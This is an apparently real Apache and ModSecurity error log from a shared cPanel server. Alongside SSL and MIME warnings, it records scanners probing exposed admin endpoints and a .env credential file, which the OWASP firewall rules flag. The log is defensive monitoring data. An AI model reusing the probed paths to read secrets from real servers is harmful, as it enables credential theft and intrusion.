[Fri Jul 17 07:48:11.520503 2026] [hostinglimits:notice] [pid 1919054:tid 1919054] mod_hostinglimits: use Min UID 1000
[Fri Jul 17 07:48:11.520552 2026] [hostinglimits:notice] [pid 1919054:tid 1919054] mod_hostinglimits: version 1.0-39. LVE mechanism enabled
[Fri Jul 17 07:48:11.520556 2026] [hostinglimits:notice] [pid 1919054:tid 1919054] mod_hostinglimits: found apr extention version 3
[Fri Jul 17 07:48:11.520563 2026] [hostinglimits:notice] [pid 1919054:tid 1919054] mod_hostinglimits: apr_lve_environment_init_group_minuid check ok
[Fri Jul 17 07:48:11.894951 2026] [ssl:warn] [pid 1919054:tid 1919054] AH01909: colombobss.com.seyawin.com:443:0 server certificate does NOT include an ID which matches the server name
[Fri Jul 17 07:48:11.954402 2026] [ssl:warn] [pid 1919054:tid 1919054] AH01909: slnewsonline.lk.seyawin.com:443:0 server certificate does NOT include an ID which matches the server name
[Fri Jul 17 07:48:12.603366 2026] [ssl:warn] [pid 1919054:tid 1919054] AH01909: stanthonys.biz.buddhika.xyz:443:0 server certificate does NOT include an ID which matches the server name
[Fri Jul 17 07:48:12.604514 2026] [ssl:warn] [pid 1919054:tid 1919054] AH01909: emlproperties.lk.buddhika.xyz:443:0 server certificate does NOT include an ID which matches the server name
[Fri Jul 17 07:48:12.619923 2026] [ssl:warn] [pid 1919054:tid 1919054] AH01909: millenniumagro.lk.buddhika.xyz:443:0 server certificate does NOT include an ID which matches the server name
[Fri Jul 17 07:48:12.644710 2026] [ssl:warn] [pid 1919054:tid 1919054] AH01909: greentaraceylon.com.buddhika.xyz:443:0 server certificate does NOT include an ID which matches the server name
[Fri Jul 17 07:48:12.666243 2026] [ssl:warn] [pid 1919054:tid 1919054] AH01909: manaharasupercenter.lk.buddhika.xyz:443:0 server certificate does NOT include an ID which matches the server name
[Fri Jul 17 07:48:12.790172 2026] [ssl:warn] [pid 1919054:tid 1919054] AH01909: yummykingdom.lk:443:0 server certificate does NOT include an ID which matches the server name
[Fri Jul 17 07:48:12.804499 2026] [ssl:warn] [pid 1919054:tid 1919054] AH01909: webitra.net:443:0 server certificate does NOT include an ID which matches the server name
[Fri Jul 17 07:48:12.876934 2026] [ssl:warn] [pid 1919054:tid 1919054] AH01909: topview.lk:443:0 server certificate does NOT include an ID which matches the server name
[Fri Jul 17 07:48:12.988935 2026] [ssl:warn] [pid 1919054:tid 1919054] AH01909: smartenglish.lk:443:0 server certificate does NOT include an ID which matches the server name
[Fri Jul 17 07:48:13.005635 2026] [ssl:warn] [pid 1919054:tid 1919054] AH01909: sirimayura.com:443:0 server certificate does NOT include an ID which matches the server name
[Fri Jul 17 07:48:13.007689 2026] [ssl:warn] [pid 1919054:tid 1919054] AH01909: seyawin.com:443:0 server certificate does NOT include an ID which matches the server name
[Fri Jul 17 07:48:13.031787 2026] [ssl:warn] [pid 1919054:tid 1919054] AH01909: sadaroexports.com:443:0 server certificate does NOT include an ID which matches the server name
[Fri Jul 17 07:48:13.047665 2026] [ssl:warn] [pid 1919054:tid 1919054] AH01909: saara.lk:443:0 server certificate does NOT include an ID which matches the server name
[Fri Jul 17 07:48:13.049059 2026] [ssl:warn] [pid 1919054:tid 1919054] AH01909: royalguardian.net:443:0 server certificate does NOT include an ID which matches the server name
[Fri Jul 17 07:48:13.074180 2026] [ssl:warn] [pid 1919054:tid 1919054] AH01909: priyankaramahagammullage.com:443:0 server certificate does NOT include an ID which matches the server name
[Fri Jul 17 07:48:13.090636 2026] [ssl:warn] [pid 1919054:tid 1919054] AH01909: partsfinder.lk:443:0 server certificate does NOT include an ID which matches the server name
[Fri Jul 17 07:48:13.100006 2026] [ssl:warn] [pid 1919054:tid 1919054] AH01909: onur.gov.lk:443:0 server certificate does NOT include an ID which matches the server name
[Fri Jul 17 07:48:13.176085 2026] [ssl:warn] [pid 1919054:tid 1919054] AH01909: lakwelholdings.com:443:0 server certificate does NOT include an ID which matches the server name
[Fri Jul 17 07:48:13.553687 2026] [ssl:warn] [pid 1919054:tid 1919054] AH01909: idealist.lk:443:0 server certificate does NOT include an ID which matches the server name
[Fri Jul 17 07:48:13.600082 2026] [ssl:warn] [pid 1919054:tid 1919054] AH01909: gemtrails.com:443:0 server certificate does NOT include an ID which matches the server name
[Fri Jul 17 07:48:13.617798 2026] [ssl:warn] [pid 1919054:tid 1919054] AH01909: fhb.health.gov.lk:443:0 server certificate does NOT include an ID which matches the server name
[Fri Jul 17 07:48:13.681955 2026] [ssl:warn] [pid 1919054:tid 1919054] AH01909: dataesite.com:443:0 server certificate does NOT include an ID which matches the server name
[Fri Jul 17 07:48:13.683471 2026] [ssl:warn] [pid 1919054:tid 1919054] AH01909: danishlk.com:443:0 server certificate does NOT include an ID which matches the server name
[Fri Jul 17 07:48:13.727083 2026] [ssl:warn] [pid 1919054:tid 1919054] AH01909: colper.lk:443:0 server certificate does NOT include an ID which matches the server name
[Fri Jul 17 07:48:13.818925 2026] [ssl:warn] [pid 1919054:tid 1919054] AH01909: buildbywebitra.site:443:0 server certificate does NOT include an ID which matches the server name
[Fri Jul 17 07:48:13.846601 2026] [ssl:warn] [pid 1919054:tid 1919054] AH01909: buddhika.xyz:443:0 server certificate does NOT include an ID which matches the server name
[Fri Jul 17 07:48:13.894080 2026] [ssl:warn] [pid 1919054:tid 1919054] AH01909: bbicecreams.com:443:0 server certificate does NOT include an ID which matches the server name
[Fri Jul 17 07:48:14.093638 2026] [:notice] [pid 1919054:tid 1919054] mod_ruid2/0.9.8 enabled
[Fri Jul 17 07:48:14.095699 2026] [mpm_prefork:notice] [pid 1919054:tid 1919054] AH00163: Apache/2.4.68 (cPanel) OpenSSL/1.1.1k mod_bwlimited/1.4 configured -- resuming normal operations
[Fri Jul 17 07:48:14.095721 2026] [core:notice] [pid 1919054:tid 1919054] AH00094: Command line: '/usr/sbin/httpd'
[Fri Jul 17 07:48:14.223790 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:48:14.244710 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:48:14.269972 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:48:14.285085 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:48:14.320555 2026] [ssl:error] [pid 1993574:tid 1993574] (70014)End of file found: [client 66.85.158.91:35590] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:48:14.455880 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:48:14.477649 2026] [core:error] [pid 1993570:tid 1993570] (13)Permission denied: [client 47.82.54.64:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/251:0/subsystem/rtc0/device/subsystem/uevent
[Fri Jul 17 07:48:14.645261 2026] [security2:error] [pid 1993572:tid 1993572] [client 134.122.77.102:0] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "702"] [id "920340"] [msg "Request Containing Content, but Missing Content-Type header"] [severity "NOTICE"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [hostname "66.85.158.92"] [uri "/sdk"] [unique_id "almQ5ol9vhFBGA6D8l9u7gAAAAw"]
[Fri Jul 17 07:48:14.645323 2026] [security2:error] [pid 1993572:tid 1993572] [client 134.122.77.102:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.92"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.92"] [uri "/sdk"] [unique_id "almQ5ol9vhFBGA6D8l9u7gAAAAw"]
[Fri Jul 17 07:48:14.645779 2026] [security2:error] [pid 1993572:tid 1993572] [client 134.122.77.102:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "66.85.158.92"] [uri "/sdk"] [unique_id "almQ5ol9vhFBGA6D8l9u7gAAAAw"]
[Fri Jul 17 07:48:14.646133 2026] [security2:error] [pid 1993570:tid 1993570] [client 134.122.77.102:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.92"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.92"] [uri "/odinhttpcall1784254694"] [unique_id "almQ5njA8yK8B7kryx3aAQAAAAk"]
[Fri Jul 17 07:48:14.646462 2026] [security2:error] [pid 1993572:tid 1993572] [client 134.122.77.102:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "66.85.158.92"] [uri "/404.shtml"] [unique_id "almQ5ol9vhFBGA6D8l9u7gAAAAw"]
[Fri Jul 17 07:48:15.040285 2026] [security2:error] [pid 1993571:tid 1993571] [client 134.122.77.102:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.92"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.92"] [uri "/evox/about"] [unique_id "almQ5-nUgtv5ujFYWh_oVQAAAA0"]
[Fri Jul 17 07:48:15.043731 2026] [security2:error] [pid 1993570:tid 1993570] [client 134.122.77.102:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.92"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.92"] [uri "/HNAP1"] [unique_id "almQ53jA8yK8B7kryx3aAwAAAAk"]
[Fri Jul 17 07:48:15.669216 2026] [security2:error] [pid 1993572:tid 1993572] [client 134.122.77.102:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.92"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.92"] [uri "/"] [unique_id "almQ54l9vhFBGA6D8l9u8wAAAAw"]
[Fri Jul 17 07:48:16.038214 2026] [security2:error] [pid 1993570:tid 1993570] [client 164.90.220.12:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.92"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.92"] [uri "/solr/admin/info/system"] [unique_id "almQ6HjA8yK8B7kryx3aBQAAAAk"]
[Fri Jul 17 07:48:16.038214 2026] [security2:error] [pid 1993572:tid 1993572] [client 164.92.141.84:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.92"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.92"] [uri "/query"] [unique_id "almQ6Il9vhFBGA6D8l9u9AAAAAw"]
[Fri Jul 17 07:48:16.040207 2026] [security2:error] [pid 1993571:tid 1993571] [client 46.101.133.128:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.92"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.92"] [uri "/"] [unique_id "almQ6OnUgtv5ujFYWh_oWQAAAA0"]
[Fri Jul 17 07:48:16.042261 2026] [security2:error] [pid 1993571:tid 1993571] [client 104.248.251.244:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.92"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.92"] [uri "/v2/_catalog"] [unique_id "almQ6OnUgtv5ujFYWh_oWgAAAA0"]
[Fri Jul 17 07:48:16.043737 2026] [security2:error] [pid 1993570:tid 1993570] [client 167.71.51.213:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.92"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.92"] [uri "/cgi-bin/authLogin.cgi"] [unique_id "almQ6HjA8yK8B7kryx3aBgAAAAk"]
[Fri Jul 17 07:48:16.051447 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:48:16.275610 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:48:16.355234 2026] [security2:error] [pid 1993604:tid 1993604] [client 164.90.220.12:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.92"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.92"] [uri "/solr/admin/cores"] [unique_id "almQ6Iha5y5fYnQ1qRrn1AAAAAE"]
[Fri Jul 17 07:48:16.585663 2026] [security2:error] [pid 1993572:tid 1993572] [client 157.245.61.43:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.92"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.92"] [uri "/favicon.ico"] [unique_id "almQ6Il9vhFBGA6D8l9u9wAAAAw"]
[Fri Jul 17 07:48:18.775789 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:48:21.545662 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:48:22.437800 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:48:24.208080 2026] [ssl:error] [pid 1993571:tid 1993571] (70014)End of file found: [client 66.85.158.91:42254] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:48:25.178076 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:48:25.659831 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:42324] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:48:26.125088 2026] [ssl:error] [pid 1993604:tid 1993604] (70014)End of file found: [client 66.85.158.91:42346] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:48:26.511070 2026] [security2:error] [pid 1993570:tid 1993570] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almQ8njA8yK8B7kryx3aGAAAAAk"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 07:48:26.511103 2026] [security2:error] [pid 1993570:tid 1993570] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almQ8njA8yK8B7kryx3aGAAAAAk"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 07:48:28.486409 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:42404] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:48:28.605488 2026] [security2:error] [pid 1993574:tid 1993574] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almQ9N0t9Kb_MdNxrg63VgAAAAM"], referer: http://anandaobauae.org/?C=D;O=Auploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 07:48:28.605549 2026] [security2:error] [pid 1993574:tid 1993574] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almQ9N0t9Kb_MdNxrg63VgAAAAM"], referer: http://anandaobauae.org/?C=D;O=Auploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 07:48:29.013936 2026] [ssl:error] [pid 1993570:tid 1993570] (70014)End of file found: [client 66.85.158.91:42426] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:48:30.676189 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:48:36.038675 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almQ_I1dLClkUfK_dfHZkAAAAAI"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 07:48:36.038726 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almQ_I1dLClkUfK_dfHZkAAAAAI"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 07:48:38.656860 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:48:40.011095 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:48:41.227861 2026] [ssl:error] [pid 1993659:tid 1993659] (70014)End of file found: [client 66.85.158.91:59416] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:48:41.938706 2026] [security2:error] [pid 1993574:tid 1993574] [client 15.235.98.80:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/bostonlanka-global": Permission denied [hostname "bostonlanka.com"] [uri "/index.php"] [unique_id "almRAd0t9Kb_MdNxrg63YwAAAAM"]
[Fri Jul 17 07:48:41.938738 2026] [security2:error] [pid 1993574:tid 1993574] [client 15.235.98.80:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/bostonlanka-ip": Permission denied [hostname "bostonlanka.com"] [uri "/index.php"] [unique_id "almRAd0t9Kb_MdNxrg63YwAAAAM"]
[Fri Jul 17 07:48:43.993161 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:48:44.617720 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:48:45.235348 2026] [ssl:error] [pid 1993668:tid 1993668] (70014)End of file found: [client 66.85.158.91:42396] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:48:47.206608 2026] [ssl:error] [pid 1993715:tid 1993715] (70014)End of file found: [client 66.85.158.91:42466] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:48:50.367406 2026] [security2:error] [pid 1993570:tid 1993570] [client 196.121.235.138:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /epid/epid/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ksoft.web.lk"] [uri "/epid/epid/.env"] [unique_id "almRCnjA8yK8B7kryx3aKQAAAAk"]
[Fri Jul 17 07:48:50.367724 2026] [security2:error] [pid 1993570:tid 1993570] [client 196.121.235.138:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ksoft.web.lk"] [uri "/epid/epid/.env"] [unique_id "almRCnjA8yK8B7kryx3aKQAAAAk"]
[Fri Jul 17 07:48:50.368147 2026] [security2:error] [pid 1993570:tid 1993570] [client 196.121.235.138:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ksoft.web.lk"] [uri "/epid/epid/.env"] [unique_id "almRCnjA8yK8B7kryx3aKQAAAAk"]
[Fri Jul 17 07:48:50.529380 2026] [ssl:error] [pid 1993584:tid 1993584] (70014)End of file found: [client 66.85.158.91:42594] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:48:52.318269 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
